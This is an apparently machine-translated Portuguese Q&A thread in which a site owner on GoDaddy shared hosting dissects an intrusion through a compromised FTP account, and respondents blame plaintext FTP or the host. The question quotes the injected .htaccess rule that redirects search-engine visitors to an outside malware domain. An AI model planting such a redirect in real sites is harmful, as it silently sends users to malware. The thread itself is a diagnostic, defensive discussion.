Dissecando um ataque de site por meio de uma conta FTP comprometida

9

Meu site foi invadido e, neste momento, conheço alguns detalhes, mas não sei exatamente como aconteceu ou como evitá-lo no futuro. Preciso da sua ajuda para tentar dissecar o ataque, para evitar que isso aconteça novamente. Isso é um pouco longo, mas quero ter certeza de fornecer informações suficientes para ajudar a resolver o problema.

Aqui está o que aconteceu.

Algumas semanas atrás, recebi um e-mail da minha empresa de hospedagem, GoDaddy, dizendo que meu site estava usando muitos recursos e que eles esperavam que uma consulta ao MySQL fosse a culpada. A consulta em questão era uma consulta de pesquisa com 5 a 6 termos. Da maneira que eu a configurei, quanto mais termos você pesquisou, mais complexa a consulta se tornou. Sem problemas. Corrigi-o, mas, ao mesmo tempo, o GoDaddy também encerrou temporariamente minha conta e levou cerca de três dias para que tudo voltasse ao normal.

Após esse incidente, o tráfego do meu mecanismo de pesquisa caiu drasticamente, em torno de 90%. Foi péssimo, por eu não ter pensado em nada, gravá-lo no fiasco da consulta e imaginar que retornaria a tempo quando o Google rastreasse novamente o site. Isso não aconteceu.

Alguns dias atrás, recebi um email de um usuário dizendo que meu site estava hospedando malware. Carreguei o site diretamente no meu navegador, mas não vi nada injetado na página. Depois, verifiquei meu arquivo .htaccess e encontrei o seguinte:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>

Fofa. E um pouco desonesto. Navegar diretamente para o site a partir da barra de endereços ou de um marcador, o que eu costumo fazer, carregaria o site normalmente. Raramente eu vou ao meu site através de um link de um mecanismo de pesquisa, e é por isso que o hack passou despercebido durante tanto tempo. O malware também não foi hospedado diretamente no meu site.

Uma pesquisa rápida mostrou que outras pessoas também estavam tendo o mesmo problema, embora eu suspeite que muito mais ainda não o tenha detectado. A maioria das recomendações era atualizar para as versões mais recentes do software, alterar senhas etc.

Sendo como eu uso meu próprio sistema de gerenciamento de conteúdo personalizado e não o onipresente Wordpress, me aprofundou um pouco mais. Examinei todos os meus arquivos em busca de funções comuns usadas nas explorações do PHP: base64_decode, exec, shell, etc ... Nada de suspeito apareceu e nenhum arquivo extra estava presente.

Em seguida, verifiquei o histórico do gerenciador de arquivos do GoDaddy e descobri que o arquivo .htaccess foi alterado exatamente na mesma data em que minha consulta de pesquisa foi acusada de usar muitos recursos do servidor. Pode ser uma infeliz coincidência, mas não tenho certeza. O redirecionamento no arquivo .htaccess não parece intensivo em recursos e a consulta era complexa o suficiente para que pudesse consumir muitos recursos.

Queria ter certeza de que meu código não era o problema. Verifiquei os logs de tráfego em busca de atividades suspeitas na época em que o arquivo .htaccess foi modificado, mas não vi nenhuma atividade GET ou POST que parecesse anormal ou parecida com um arquivo .htaccess. tentativa de corte.

Por fim, solicitei os logs de FTP do GoDaddy e constatei que havia acesso não autorizado ao FTP no momento em que o arquivo .htaccess foi alterado. Eu estava de férias na época, com meu computador desligado fisicamente, e não havia mais ninguém com credenciais de acesso. Parece que quem usou o FTP principal na conta do FTP, mas com um IP 91.220.0.19, que parece ser da Letônia .

Na hospedagem compartilhada, parece que o GoDaddy atribui automaticamente um nome de usuário FTP primário com base no URL do site. É extremamente previsível, ou pelo menos foi quando configurei minha conta de hospedagem. Eu me inscrevi pela primeira vez na conta de hospedagem há vários anos, portanto ela pode ter sido alterada, mas pelo que me lembro, não consegui escolher o nome de usuário do FTP principal. Atualmente, você também não pode alterar o nome de usuário e parece que o GoDaddy também não pode, a menos que você cancele sua conta e renuncie. Enquanto você pode criar, excluir e editar outros usuários de FTP, o usuário principal de FTP não pode ser excluído. Somente a senha pode ser alterada.

Com exceção do nome de usuário FTP primário, todas as credenciais de acesso ao site, ao banco de dados, ao administrador e à conta são sem sentido, nomes de usuário e senhas aleatórios que parecem com o seu gato andando no teclado. Ex: lkSADf32! $ AsJd3.

Analisei minuciosamente o meu computador em busca de vírus, malware, etc., caso este seja o ponto fraco do link, mas nada aconteceu. Uso um firewall, um programa antivírus e tento usar hábitos de navegação segura.

Quando atualizo meu site, uso o Core FTP LE e uma conexão SSH / SFTP. A conta de hospedagem é uma configuração do Linux.

Ao conversar com o suporte técnico da GoDaddy, eles não têm certeza de como a senha do FTP foi comprometida. Na hospedagem compartilhada, eles não conseguem colocar um bloco IP no nível do usuário do FTP. Eles também não conseguem alterar o nome de usuário do FTP principal. Quando perguntei se eles tinham proteção de força bruta em torno do acesso ao FTP, a tecnologia parecia insegura no começo, mas depois disse que sim depois de reformular algumas vezes. No entanto, acho que me lembro de fazer a mesma pergunta em uma ligação anterior e ouvir que o GoDaddy não tem proteção de força bruta no acesso ao FTP. Neste ponto, não sei se eles fazem ou não.

Alterei todas as minhas credenciais de acesso em geral e também bani o endereço IP da Letônia usando o arquivo .htaccess (provavelmente não fará diferença se eles estiverem usando FTP), mas ainda não tenho certeza de como o FTP a senha foi comprometida para começar.

Estou bastante certo de que o problema não estava no meu código (mesmo que fosse, as informações do FTP não deveriam ter sido expostas) ou no meu computador. O que eu suspeito, mas não sei como provar, é que a senha do FTP foi forçada com força bruta, pois o nome de usuário era previsível. O ataque de força bruta também pode ter coincidido com os recursos do servidor que estão sendo usados ​​(culpa da minha consulta), mas não conheço o lado técnico dos servidores o suficiente para saber se isso é possível ou provável.

Agora sinto que estou no final do que sei o que fazer. Gostaria de entender como o ataque foi realizado e como evitá-lo. Portanto, se você tiver outras idéias sobre vetores de ataque, diagnósticos que possam ser executados ou medidas adicionais de segurança, ficaria muito grato. Estou mais do que disposto a mudar de host ou abandonar a hospedagem compartilhada, mas quero garantir que posso impedir que isso aconteça novamente.

Ajuda-me, Obi-Wan Kenobi ...

querida Abby
fonte

Respostas:

8

Algo se tornou familiar ao ler sua postagem. Então me ocorreu: eu já tinha visto isso antes, mais de um mês atrás, ao tentar acessar um site para um jogo. Veja aqui - mesmo comportamento, a ação de redirecionamento executada apenas nos referenciadores de mecanismos de pesquisa.

O nome de domínio no seu .htaccesscomputador parecia familiar porque o antivírus do meu computador doméstico fez barulhos altos sobre ele semanas atrás.

E, você não sabia, o host do site em que eu observei isso? Vai Papai.

Eu não acho que você tenha sido forçado com força bruta ou teve sua senha comprometida por qualquer falha sua; Eu acho que o GoDaddy foi o único comprometido aqui. E eu não diria que eles armazenariam as senhas de FTP em texto simples. Um pouco mais cavando encontrou este artigo sugerindo o mesmo; a proteção da força bruta pode ser o menor de seus problemas.

Shane Madden
fonte
Estou assumindo que o OP alterou a credencial do FTP. Espero que eles não estejam usando armazenamento de senha de texto não criptografado. Isso seria-- ahem-- bastante decepcionante.
Evan Anderson
@Evan Confira o artigo vinculado no último parágrafo; parece apoiar a teoria da "culpa do GoDaddy". O que isso significa é que: a criptografia de senha é apenas um exercício interessante de imaginação. ;)
Shane Madden
Depois de analisar tudo de novo, eu me conecto através do SSH. No entanto, as credenciais que tenho que usar são as do usuário FTP primário. Não há como configurar um usuário apenas para SSH sem que ele também funcione para FTP que posso ver na hospedagem compartilhada.
Dear Abby
@Dear Quando você faz login através do SSH, as credenciais são criptografadas em trânsito. Eles só seriam vulneráveis ​​a serem detectados pelo fio ao se conectarem através de um protocolo não seguro como FTP ou HTTP.
Shane Madden
2
Votado se não por outro motivo que você teve a paciência de ler o post inteiro.
Wesley
6

Fácil! Não use FTP. Ele transmite as credenciais em texto sem formatação e transmite todos os dados em texto sem formatação. É uma das maneiras mais inseguras de transferir arquivos. Se o seu host não suportar outras maneiras, encontre um novo host.

MDMarra
fonte
+1 - Você não pode obter uma conexão direta ponto a ponto com o servidor hospedado. Por definição, o logon do FTP em texto não criptografado terá que transitar por redes não confiáveis. Você foi possuído porque suas credenciais foram registradas em algum lugar ao longo do caminho, uma vez ou outra. (Na verdade, ddds é bom que o invasor que modificou seu site não tenha capturado as credenciais. Você provavelmente foi registrado por um farejador não detectado em execução na rede de um ISP e adicionado a um banco de dados de credenciais compradas e vendidas. ..) Na Internet de hoje, você NÃO PODE simplesmente viver com autenticação de texto não criptografado. Período.
Evan Anderson
Na verdade, eu não uso SSH há mais de um ano sem usar FTP uma vez nesse período. No entanto, embora o GoDaddy forneça outras maneiras de transferir arquivos, ele não permite excluir o usuário FTP principal. Como eu disse, eu estou bem com a troca de hosts, só quero descobrir o que aconteceu. Como alguém ouviria credenciais de FTP?
Dear Abby
@ Caro - O usuário e a senha do FTP estariam em texto sem formatação nos pacotes. Qualquer programa capaz de capturar pacotes o revelaria. O comentário de Evan explica bem.
MDMarra
@Evan - Então a solução seria: nunca use FTP e deixe de lado a hospedagem compartilhada? Ou você pode usar o SSH exclusivamente e ainda estar seguro com hospedagem compartilhada?
Dear Abby
3
@ Caro - Se um host não pode desativar o FTP para o meu site, eu não gostaria de usá-lo.
precisa saber é o seguinte